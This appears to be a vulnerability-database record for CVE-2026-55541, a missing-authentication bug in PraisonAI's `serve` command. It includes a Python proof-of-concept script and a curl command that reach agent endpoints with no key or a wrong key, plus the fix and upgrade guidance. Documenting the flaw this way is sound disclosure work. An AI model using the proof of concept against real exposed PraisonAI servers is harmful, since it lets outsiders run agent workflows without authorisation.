{"id":"CVE-2026-55541","aliases":["GHSA-pvxx-r596-f5qj","PYSEC-2026-3893"],"title":"PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced","summary":"PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced","severity":"high","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.6.58"],"patched":["praisonai 4.6.58"],"published":"2026-08-25","updated":"2026-09-10","sourceUpdated":"2026-09-10T12:25:26.117030361Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-pvxx-r596-f5qj","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-pvxx-r596-f5qj"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"},{"url":"https://github.com/MervinPraison/PraisonAI"},{"url":"https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"},{"url":"https://pypi.org/project/praisonai"},{"url":"https://github.com/advisories/GHSA-pvxx-r596-f5qj"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55541"}],"tags":["osv","pip","nvd","ghsa"],"epss":0.00276,"epssPercentile":0.20256,"cwe":["CWE-862"],"ingestedAt":"2026-08-25T15:27:53.263Z","slug":"CVE-2026-55541","body":"## Overview\n\n## Summary\n\n`praisonai serve agents` and `praisonai serve unified` both accept `--api-key` for authentication. The flag is parsed but never wired into the FastAPI app — no middleware, no header check, nothing. The server runs wide open regardless of what key you set. Tested on 4.6.50 from PyPI.\n\n## Affected versions\n\n- Confirmed on **4.6.50** (current PyPI, 2026-06-02)\n- Likely since **4.6.34** when the serve subsystem shipped\n- File: `src/praisonai/praisonai/cli/features/serve.py`\n\n## What happens\n\nThe CLI defines `--api-key` in the arg spec (`serve.py:199`) and passes the parsed value into `_create_agents_app(config)`. But that function never reads `config[\"api_key\"]`. The FastAPI app gets created with no auth at all. Same thing in `_create_unified_app`.\n\nThe help text says `--api-key <key>   API key for authentication`, so this isn't ambiguous — it's supposed to protect the server. It just doesn't.\n```\n$ grep -n \"api_key\" src/praisonai/praisonai/cli/features/serve.py\n107:  --api-key <key>   API key for authentication\n199:            \"api_key\": {\"default\": None},\n847:            \"api_key\": {\"default\": None},\n```\n\n## Endpoints exposed without auth\n\n- `POST /agents` — runs the full agent workflow\n- `POST /agents/{name}` — invokes a specific agent\n- `POST /api/v1/agents/{id}/invoke` — n8n integration endpoint\n- `GET /` — lists all endpoints\n- `GET /__praisonai__/discovery` — service discovery\n\n## Not the same as CVE-2026-44338\n\nCVE-2026-44338 was about the legacy `deploy/api.py` hardcoding `AUTH_ENABLED = False`. That was fixed in 4.6.34. This bug is in the newer `serve` subsystem that shipped in the same release — the `--api-key` flag exists but was never connected to anything.\n\n## PoC\n\n### Setup\n\n```bash\npython3 -m venv /tmp/poc-venv\n/tmp/poc-venv/bin/pip install praisonai==4.6.50 fastapi starlette httpx pyyaml\n```\n\n### Script\n\n```python\nimport sys, types, tempfile, os\n\n# Stub heavy deps so we only test the serve auth logic\nfor m in [\"praisonai.endpoints.discovery\", \"praisonai.endpoints.server\",\n          \"praisonai.api\", \"praisonai.api.agent_invoke\",\n          \"praisonai.agents_generator\", \"praisonai.inc\"]:\n    sys.modules[m] = types.ModuleType(m)\n\ndisc = sys.modules[\"praisonai.endpoints.discovery\"]\nclass Fake:\n    def __init__(self, **k): pass\n    def add_provider(self, *a, **k): pass\n    def add_endpoint(self, *a, **k): pass\n    def to_dict(self): return {}\ndisc.create_discovery_document = lambda **k: Fake()\ndisc.EndpointInfo = Fake\ndisc.ProviderInfo = Fake\nsys.modules[\"praisonai.endpoints.server\"].add_discovery_routes = lambda a,b: None\nsys.modules[\"praisonai.api.agent_invoke\"].FASTAPI_AVAILABLE = False\n\nclass FakeGen:\n    def __init__(self, **k): pass\n    def generate_crew_and_kickoff(self):\n        return {\"executed\": True, \"result\": \"workflow ran\"}\nsys.modules[\"praisonai.agents_generator\"].AgentsGenerator = FakeGen\n\nclass FakeLLM:\n    def to_dict(self): return {}\nsys.modules[\"praisonai.inc\"].LLMConfig = FakeLLM\n\nf = tempfile.NamedTemporaryFile(mode=\"w\", suffix=\".yaml\", delete=False)\nf.write(\"name: T\\nagents:\\n  a:\\n    name: A\\n    role: R\\n    goal: G\\n    backstory: B\\n\")\nf.flush()\n\nfrom praisonai.cli.features.serve import ServeHandler\napp = ServeHandler()._create_agents_app({\n    \"file\": f.name, \"host\": \"0.0.0.0\", \"port\": 8000,\n    \"path\": \"/agents\", \"reload\": False,\n    \"api_key\": \"supersecret\",   # <-- should protect the server\n})\n\nfrom starlette.testclient import TestClient\nc = TestClient(app)\n\nr1 = c.post(\"/agents\", json={\"query\": \"run\"})\nr2 = c.post(\"/agents\", json={\"query\": \"run\"},\n            headers={\"Authorization\": \"Bearer TOTALLY_WRONG\"})\n\nprint(f\"No auth header → {r1.status_code}\")   # 200\nprint(f\"Wrong key      → {r2.status_code}\")   # 200\n\nos.unlink(f.name)\n```\n\n### Output\n\n```\nNo auth header → 200\nWrong key      → 200\n```\n\nBoth succeed. The key is ignored.\n\n### Live server test\n\n```bash\n# start server with --api-key\npraisonai serve agents --api-key supersecret --host 0.0.0.0 --port 9999\n\n# hit it without any auth\ncurl -s -X POST http://localhost:9999/agents \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"query\":\"run all agents\"}'\n# → 200, workflow executes\n```\n\n## Impact\n\nAnyone who can reach the server can trigger agent workflows without credentials. The operator set `--api-key` and got no error, so they think it's protected.\n\nWhat an attacker gets depends on what the agents.yaml workflow can do — LLM calls, tool use, file access, code execution, web requests. At minimum it's unauthenticated API quota burn.\n\n## Fix\n\n`_create_agents_app()` and `_create_unified_app()` need to actually read `config[\"api_key\"]` and add a FastAPI dependency that checks the `Authorization: Bearer` header. When binding to a non-loopback address without `--api-key`, the server should warn or refuse to start.\n\n## References\n\n- CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj (prior auth bypass, different component)\n\n## Affected packages\n\n- `praisonai < 4.6.58`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.58`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}